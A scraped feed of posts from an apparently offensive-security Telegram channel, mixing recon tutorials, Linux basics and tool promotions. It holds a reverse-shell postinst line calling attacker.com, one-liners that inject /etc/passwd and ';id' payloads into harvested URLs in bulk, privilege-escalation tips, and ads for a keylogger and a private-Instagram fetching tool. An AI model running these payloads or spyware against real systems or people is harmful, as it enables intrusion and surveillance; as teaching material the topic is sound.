The Exploit Lab
703 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
exploit_lab_sniffer.py
18.4 KB
πŸš€ NEW TOOL: Advanced Packet Sniffer πŸš€

πŸ”₯ The Exploit Lab presents a compact, powerful packet analysis tool for pentesters & bug bounty hunters.

🎯 Features: real-time capture, TCP/UDP/ICMP/HTTP/DNS/ARP, color terminal, BPF filters, PCAP export, live stats, verbose inspection.

⚑️ Quick Start: sudo python3 sniffer.py -i eth0

Examples:
HTTP: sudo python3 sniffer.py -i eth0 -f "tcp port 80"
Target: sudo python3 sniffer.py -i eth0 -f "host 192.168.1.100" -v

πŸ’‘ Use: pentests, bug bounties, traffic analysis, CTFs.

🌐 Follow: 🐦 https://x.com/TheExploitLab
| πŸ“± https://t.me/TheExploitLabX

⚠️ For authorized testing only. Obtain permission before scanning networks.
🎬 New Tutorial: Image Metadata Extractor Tool β€” Complete Tutorial

Watch the video now!

What’s inside
β€’ Install & run the tool
β€’ Extract EXIF, GPS, camera model, IPTC and file metadata
β€’ Live demo + automation tips
β€’ Ethical use & privacy reminders

Code & download
https://github.com/mrdineshpathro/image-metadata

Like & share β€” if you find it useful, hit πŸ‘ and forward to friends.
Have questions? Reply here or comment on the video β€” I’ll answer.

#ImageMetadata #EXIF #OSINT #TheExploitLab
πŸ”’ KeyloggerScreenshot
Track every keystroke & screenshot with this advanced tool! Perfect for penetration testers and ethical hackers who want to monitor system activity or audit security.

πŸ”— View Repository

Want a complete setup guide and installation command? Drop a comment or DMβ€”I'll create a walk-through video for you!

#Cybersecurity #Keylogger #PenTest #GitHub #HackingTools
πŸš€ Level Up Your Android Pentesting on Kali Linux!

Tired of constantly typing adb shell for every little command? Meet droidrun! πŸ“±

This fantastic CLI tool lets you execute commands directly on your connected Android device or emulator from your terminal. It's a massive time-saver and a must-have for your mobile security toolkit.

✨ Key Features:
β€’ Direct Execution: Run commands without manually entering an adb shell first.
β€’ Handy Shortcuts: Install APKs, push/pull files, take screenshots, and record the screen with simple commands.
β€’ Easy Recon: Quickly list packages, check device info, and explore the filesystem.
β€’ Multi-Device Support: Easily target a specific device if you have multiple connected.

πŸ’» How to Install on Kali Linux:

It's a single binary, making installation a breeze. Open your terminal and run these commands:

# 1. Download the latest binary for Linux
wget https://github.com/droidrun/droidrun/releases/latest/download/droidrun_0.5.0_Linux_x86_64.tar.gz

# 2. Extract the archive
tar -xvf droidrun_0.5.0_Linux_x86_64.tar.gz

# 3. Make the binary executable
chmod +x droidrun

# 4. Move it to a directory in your PATH
sudo mv droidrun /usr/local/bin/


πŸ‘‰ How to Use It:

First, make sure your Android device is connected with USB Debugging enabled! Then, you can start using droidrun right away.

Here are a few examples to get you started:

# List all installed packages on the device
droidrun "pm list packages"

# Install an APK file from your Kali machine
droidrun install /path/to/your/app.apk

# Take a screenshot and save it to your current directory
droidrun screenshot

# Start a screen recording
droidrun record


droidrun streamlines mobile security assessments and makes interacting with Android devices feel native. Give it a try and see how much faster your workflow becomes!

πŸ”— Get it on GitHub: github.com/droidrun/droidrun

#KaliLinux #AndroidPentesting #CyberSecurityTools #ADB #MobileSecurity
🌐 Futuristic UI for Your Kali Tools with Arwes! πŸ› 

Tired of the same old command-line interface for your scripts and tools? Let's give your Kali projects a cyberpunk makeover!

Today, we're exploring Arwes β€” a powerful web framework designed to build stunning, futuristic user interfaces. Perfect for creating dashboards, control panels, or making your projects look like they're straight from 2077.

⚠️ Remember: Arwes is a UI framework for presentation, not a hacking tool itself.

πŸ’‘ Why Use Arwes on Kali?
Perfect for building:
β€’ Sleek dashboards for Nmap or Nessus scans
β€’ Control interfaces for custom Python scripts
β€’ Cyberpunk-themed portfolios
β€’ Impressive front-ends for CTF challenges
β€’ Security tool management panels

πŸš€ Quick Setup Guide on Kali Linux

Step 1: Install Node.js & npm
sudo apt update && sudo apt install nodejs npm -y

Step 2: Create React Project
npx create-react-app futuristic-dashboard
cd futuristic-dashboard

Step 3: Install Arwes
npm install arwes

Step 4: Implement Futuristic UI
Replace src/App.js with:

import React from 'react';
import { Arwes, Button, Frame, Words } from 'arwes';

const App = () => {
const handleClick = () => {
alert('System Activated!');
};

return (
<Arwes animate sounds>
<div style={{ padding: 20 }}>
<Frame animate level={3} corners={4} layer='primary'>
<div style={{ padding: 15 }}>
<h1><Words>The Exploit Lab Terminal</Words></h1>
</div>
</Frame>
<p style={{ marginTop: 20 }}>
<Words>Welcome, operator. All systems are online.</Words>
</p>
<Button animate level={2} onClick={handleClick}>
<Words>Initialize Protocol</Words>
</Button>
</div>
</Arwes>
);
};

export default App;


Step 5: Launch Your App
npm start

Visit http://localhost:3000 to see your futuristic interface!

πŸ“š Additional Resources:
πŸ”— Arwes GitHub Repository
πŸ”— Official Documentation

Built something cool? I'd love to see your creations!

πŸ”— Connect with me:
𝕏 (Twitter) |
Instagram |
Telegram Channel

#KaliLinux #CyberSecurity #WebDev #React #UI #Arwes #SciFi #TheExploitLab #DevOps #Frontend
πŸ”’ Cybersecurity Essentials: Protect Your Digital Life

Stay safe online with these crucial cybersecurity practices:

πŸ›‘ Top Security Tips:
1. Think Before Clicking - Verify links in emails/messages before clicking
2. Strong & Unique Passwords - Mix uppercase, lowercase, numbers, symbols
3. Password Manager - Securely store and manage all passwords
4. Two-Factor Authentication - Enable 2FA everywhere possible
5. Follow CERT-In Updates - Stay informed about latest threats
6. Update Software Regularly - Patch vulnerabilities promptly
7. Firewalls & Anti-virus - Use updated security software
8. Safe Online Payments - Avoid direct debit card usage
9. Recognize Phishing - Don't click suspicious links/attachments
10. Avoid Unknown Websites - Steer clear of unfamiliar sites
11. Limit Downloads - Only essential software, custom installs
12. Social Media Caution - Limit personal information sharing
13. Regular Backups - Protect against data loss
14. VPN on Public WiFi - Encrypt your connection
15. Stay Educated - Continuous learning about cybersecurity

πŸ’‘ Your digital safety is in your hands. Implement these practices today!


#CyberSecurity #OnlineSafety #DataProtection #CyberAware #InfoSec
subdomain-enum.sh
4.7 KB
πŸ” Subdomain Enumeration Script - Kali Linux Guide

πŸ“₯ Installation:
sudo apt update && sudo apt install subfinder amass assetfinder jq waybackurls puredns dnsx httpx nuclei

⚑️ Usage:
./subdomain-enum.sh example.com

πŸ“ Required Setup:
β€’ Create wordlists directory: ~/bug-bounty/wordlists/
β€’ Download resolvers: ~/bug-bounty/resolvers/resolvers.txt
β€’ Install Nuclei templates: nuclei -update-templates

🎯 What it does:
βœ… Passive enumeration (5 tools)
βœ… DNS brute forcing
βœ… Live host detection
βœ… Takeover detection
βœ… Detailed reporting

πŸ“Š Output:
All results saved to ~/bug-bounty/recon/domain/

#BugBounty #Reconnaissance #KaliLinux #SubdomainEnum
🚨 Find & Check for Open S3 Buckets β€” One-Liner Terminal Command 🚨

Quickly scan subdomains for potential open AWS S3 buckets using this powerful terminal command:

grep -Eo "([a-z0-9]{1,63}\.)?s3\.amazonaws\.com" <(cat subdomains.txt | httpx -silent) | sort -u | xargs -I {} sh -c 'aws s3 ls s3://{} --no-sign-request 2>&1 | grep -q "NoSuchBucket" || echo "Open S3 Bucket: {}"'


βœ… How to Use:
1. Make sure you have awscli, httpx, and xargs installed.
2. Save your target subdomains in a file called subdomains.txt (one per line).
3. Run the command in your terminal.
4. If any bucket is publicly accessible without authentication, it will print: Open S3 Bucket: [bucket-name]

⚠️ Use responsibly β€” only on assets you own or have permission to test.

#S3 #AWS #BugBounty #Security #PenTesting #Terminal #OneLiner #InfoSec #CloudSecurity
πŸ”₯ COMPLETE SUBDOMAIN ENUMERATION METHODOLOGY πŸ”₯

Hey hackers! πŸ‘‹ Just dropped a MASSIVE tutorial on subdomain enumeration. Here's everything you need to dominate bug bounty recon! 🎯

Drop a ⚑️ if you're ready to level up!

---

πŸ“¦ PART 1: ENVIRONMENT SETUP

First, let's create our workspace:

mkdir -p ~/bug-bounty/tools
mkdir -p ~/bug-bounty/wordlists
mkdir -p ~/bug-bounty/resolvers
cd ~/bug-bounty/tools


πŸ“Œ What this does:
Creates organized directories for tools, wordlists, and DNS resolvers

---

πŸ”§ INSTALLING GO LANGUAGE

Most tools are written in Go, so let's install it:

sudo apt update
sudo apt install golang-go -y
go version


Now configure Go environment:

nano ~/.bashrc

Add these lines at the end:
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin


Save and reload:
source ~/.bashrc

βœ… Go is ready!

---

πŸ›  TOOL #1: SUBFINDER

Fast passive subdomain enumeration from 30+ sources!

Installation:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Verify:
subfinder -version

Basic Usage:
subfinder -d target.com -all -recursive -o subfinder.txt

πŸ“Š Flags explained:
- -d = target domain
- -all = use all sources
- -recursive = find subdomains of subdomains
- -o = output file

---

πŸ›  TOOL #2: AMASS

The Swiss Army knife of subdomain enumeration by OWASP!

Installation:
sudo apt install amass -y

Verify:
amass -version

Passive Mode:
amass enum -passive -d target.com -o amass.txt

Active Mode:
amass enum -d target.com -o amass_active.txt

🎯 Pro tip: Passive mode is stealthy, active mode is thorough!

---

πŸ›  TOOL #3: ASSETFINDER

Lightweight and lightning-fast subdomain finder!

Installation:
go install github.com/tomnomnom/assetfinder@latest

Usage:
assetfinder --subs-only target.com > assetfinder.txt

⚑️ Super fast for quick recon!

---

πŸ›  TOOL #4: CHAOS

ProjectDiscovery's curated subdomain database!

Installation:
go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest

Get API key: chaos.projectdiscovery.io (FREE)

Configure:
chaos -key YOUR_API_KEY

Usage:
chaos -d target.com -silent -o chaos.txt

πŸ—„ Contains data from public bug bounty programs!

---

πŸ›  TOOL #5: PUREDNS

Most accurate DNS brute forcing tool with wildcard filtering!

Installation:
go install github.com/d3mondev/puredns/v2@latest
sudo apt install massdns -y


Brute Force Usage:
puredns bruteforce wordlist.txt target.com -r resolvers.txt -w output.txt

Resolve Mode:
cat subdomains.txt | puredns resolve -r resolvers.txt -w resolved.txt

🎯 Key feature: Filters out wildcard false positives!

---

πŸ›  TOOL #6: DNSX

Fast DNS toolkit for resolution and validation!

Installation:
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

Resolve A Records:
cat subdomains.txt | dnsx -silent -a -resp -o resolved.txt

Get CNAME Records:
cat subdomains.txt | dnsx -cname -resp-only -silent > cnames.txt

Multiple Record Types:
cat subdomains.txt | dnsx -a -aaaa -cname -mx -txt -resp

πŸ“Š Flags:
- -a = A records (IPv4)
- -aaaa = AAAA records (IPv6)
- -cname = CNAME records
- -resp = show responses

---

πŸ›  TOOL #7: HTTPX

HTTP probing toolkit with rich metadata extraction!

Installation:
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

Basic Probing:
cat subdomains.txt | httpx -silent -mc 200,301,302,403 -o live.txt
πŸ‘1
Automated LFI Testing One-Liner:
gau <target> | grep -E "\?.*=" | qsreplace "/etc/passwd" | xargs -I % -P 50 sh -c 'curl -s "%" 2>&1 | grep -q "root:" && echo "Potential LFI: %"'

Breakdown:
1. gau: Get All URLs for the target.
2. grep: Filter for URLs with query parameters.
3. qsreplace: Inject /etc/passwd into parameters.
4. xargs: Run 50 parallel curl requests.
5. grep "root:": Check for a successful LFI.


Happy Hacking! πŸš€
InstagramPrivSniffer.zip
35.9 MB
InstagramPrivSniffer | Fetch Posts & Download Media
πŸ‘1
πŸš€ Automated RCE Detection Tool
Find Remote Code Execution vulnerabilities via Command Injection

gau <target> | grep -E "\?.*=" | qsreplace ";id" | xargs -I % -P 20 sh -c 'curl -s "%" | grep -q "uid=" && echo "Potential RCE: %"'

πŸ” Command Breakdown:
β€’ gau <target> - Gathers all known URLs from target
β€’ grep -E "\?.*=" - Filters URLs with parameters
β€’ qsreplace ";id" - Injects command injection payload
β€’ xargs -I % -P 20 - Parallel testing (20 threads)
β€’ curl -s "%" - Fetches each modified URL
β€’ grep -q "uid=" - Detects successful command execution

πŸ“¦ Required Tools:
gau - go install github.com/lc/gau/v2/cmd/gau@latest
qsreplace - go install github.com/tomnomnom/qsreplace@latest
curl - Built-in or apt install curl

⚠️ Important Notes:
β€’ Use only on authorized targets
β€’ Legal compliance required
β€’ Manual verification needed for false positives
β€’ Educational purpose only

🎯 Example Output:
Potential RCE: https://target.com/page.php?cmd=;id
Potential RCE: https://api.target.com/v1/user?input=;id

#RCE #CommandInjection #WebSecurity #BugBounty #CyberSecurity
πŸ”₯ SSH from Kali Linux into Termux πŸ”₯

Ever needed remote access πŸ“² to your Android device from Kali? Here's how to set up SSH from Kali β†’ Termux:

πŸ“± Step 1: Install SSH in Termux
pkg update && pkg upgrade
pkg install openssh


πŸ” Step 2: Set Password
passwd
(Remember this password! 🧠)

▢️ Step 3: Start SSH Server
sshd
⚠️ Note: Termux uses port 8022 by default

🌐 Step 4: Get Termux IP
ifconfig
Look for your local IP πŸ“ (e.g., 192.168.1.8)

πŸ’» Step 5: Connect from Kali
ssh -p 8022 <username>@<termux-ip>
Example: ssh -p 8022 u0_a156@192.168.1.8
πŸ”‘ Enter the password you set

πŸ’‘ Pro Tip: Don't know your username? πŸ€”
Run in Termux: whoami

Now you've got full shell access to your Android device from Kali! πŸš€βœ¨

#Termux #KaliLinux #SSH #MobilePentest #Android #Hacking πŸ‰
πŸ“’ New Resource β€” XSS Payloads & Bug Bounty Tips

I've put together a compact list of useful XSS payloads and practical tips for bug bounty hunters and web-security learners. This is meant as a learning/reference resource β€” only test on systems you own or have explicit permission to test.

πŸ”— View XSS payloads on GitHub
πŸ’¬ Join the discussion on Telegram

Follow my channels for more:
β€’ X: https://x.com/TheExploitLab
β€’ Instagram: mr_dineshpatro β€’ theexploitlab
β€’ YouTube: TheExploitLab

Usage: study, practice in labs, and report responsibly.
#bugbounty #infosec #xss #websecurity
πŸ“‚ File Navigation in Linux

πŸ”‘ Key Commands
ls - List directory contents
cd - Change directory
pwd - Show current path
tree - Display directory structure
history - View command history

πŸ§ͺ Task of the Day
cd /
ls
cd etc
pwd
cd ~
ls -la


Install and use tree:
sudo apt install tree
tree /home


πŸ” Linux Directory Breakdown
/etc - Configuration files
/var - Logs, web files, variable data
/home - User directories
/tmp - Temporary storage
/root - Root user home

⚠️ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.

#Linux #Terminal #CyberSecurity
πŸ” File Permission Breakdown

ls -l example:
-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh


- = file (d=dir, l=symlink)
rwx = owner: read, write, execute
r-x = group: read, execute
r-- = others: read only

🧠 Permission Notation
rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous!)

πŸ”§ Commands
chmod +x file
chmod 755 file
chown user:group file


πŸ§ͺ Task of the Day
echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh


🚩 Real-World Hacking
πŸ”₯ Root-owned script + group-writable = escalation
πŸ”₯ Misconfigured crontabs = root shell
πŸ”₯ Permissions = hacker's tool

πŸ‘‰ https://t.me/TheExploitLabX

#Linux #Permissions #CyberSecurity
πŸ” Users, Groups, and Privilege Escalation

πŸ‘€ User Overview
- Each user has a UID (root = UID 0, normal users UID 1000+).
- Defined in /etc/passwd.
- Home directories: /home/username.
- Check your user:
whoami
id

πŸ‘₯ Group Overview
- Groups define permissions for users.
- Primary group: Assigned at user creation.
- Supplementary groups: Additional privileges.
- See your groups:
groups

πŸ” Key Security-Related Groups
| Group | Why It Matters |
|--------------|----------------------|
| sudo | Execute root commands |
| docker | Possible container breakout |
| adm | Access to logs (creds) |
| lxd | Launch root containers |
| shadow | Read password hashes |

πŸ§ͺ Task of the Day
Run:
whoami
id
groups
sudo -l
Review your group memberships and check for passwordless sudo commands.

⚠️ Real-World Attack Scenarios
- User in sudo group β†’ sudo su for root.
- docker group β†’ Create container with mounted host β†’ root shell.
- Sudo misconfig (NOPASSWD):
(ALL : ALL) NOPASSWD: ALL
Run anything as root with:
sudo /bin/bash

πŸ”— Learn more daily: πŸ“‘ t.me/TheExploitLabX
πŸ“¦ Linux Package Managers & Dependency Abuse

πŸ”Ή What Is a Package Manager?
Handles:
- Installation/removal of software
- Dependency resolution
- System updates

πŸ“Œ Distro-Specific Managers:
apt β†’ Debian (Ubuntu, Kali)
yum/dnf β†’ RedHat, Fedora
pacman β†’ Arch Linux

πŸ”§ Key Commands (APT-based):
sudo apt update # Refresh package lists
sudo apt upgrade # Update all packages
sudo apt install <tool> # Install software
dpkg -l # List installed packages
dpkg -l | grep ssh # Search packages

πŸ“‚ Inspect Installed Packages:
which nmap # Path to binary
dpkg -L nmap # List files installed by a package

⚠️ Attacker Use Cases:
| Technique | Description |
|------------------|---------------------|
| Dependency Hijacking | Malicious .deb with trusted library name |
| Backdoored .deb | Preinst/postinst scripts run payloads |
| Persistence via Updates | Fake updates re-deploy backdoors |
| Local Repo Hijacking | Inject payloads via fake repository |

πŸ§ͺ Task of the Day:
1. Install and inspect a tool:
sudo apt install netcat
which nc
dpkg -L netcat

2. Find scripts run during install:
ls -l /var/lib/dpkg/info/netcat*.*

3. Look inside:
cat /var/lib/dpkg/info/netcat.postinst

πŸ” Red Team Example:
A fake .deb package with:
postinst: bash -i >& /dev/tcp/attacker.com/4444 0>&1
Gives attacker a reverse shell on install.

πŸš€ Join my Telegram channel for more:
πŸ“‘ t.me/TheExploitLabX
❀1
πŸ“œ Introduction to Bash Scripting

🧠 Why Bash?
- Available on almost every Linux system
- Lightweight, fast, and perfect for automation
- Run commands silently, log output, and chain complex tasks

πŸ”§ Simple Bash Script Example

#!/bin/bash
echo "[+] Starting Recon..."
whoami
ip a

Save as recon.sh, then:
chmod +x recon.sh
./recon.sh

πŸ’‘ Key Bash Concepts
| Concept | Description |
|----------------|---------------------|
| #!/bin/bash | Shebang: tells Linux how to execute |
| echo | Prints output |
| $(command) | Executes a shell command |
| $1, $2 | Access script arguments |
| > / >> | Redirect output (overwrite/append) |
| | | Pipe output to another command |

πŸ§ͺ Task of the Day
Create scan.sh:

#!/bin/bash
echo "[*] User Info:"
whoami
echo "[*] System IP:"
ip a | grep inet
echo "[*] Listening Ports:"
ss -tuln

Execute:
chmod +x scan.sh
./scan.sh
Modify it: Add hostname, uptime, or any info you want!

🚩 Real-World Usage
After exploitation, use scripts for:
- Quick system inventory
- Logged recon output
- Silent tool execution
Drop a loot.sh and automate everything!

πŸ”— Join my Telegram channel for more:
πŸ“‘ t.me/TheExploitLabX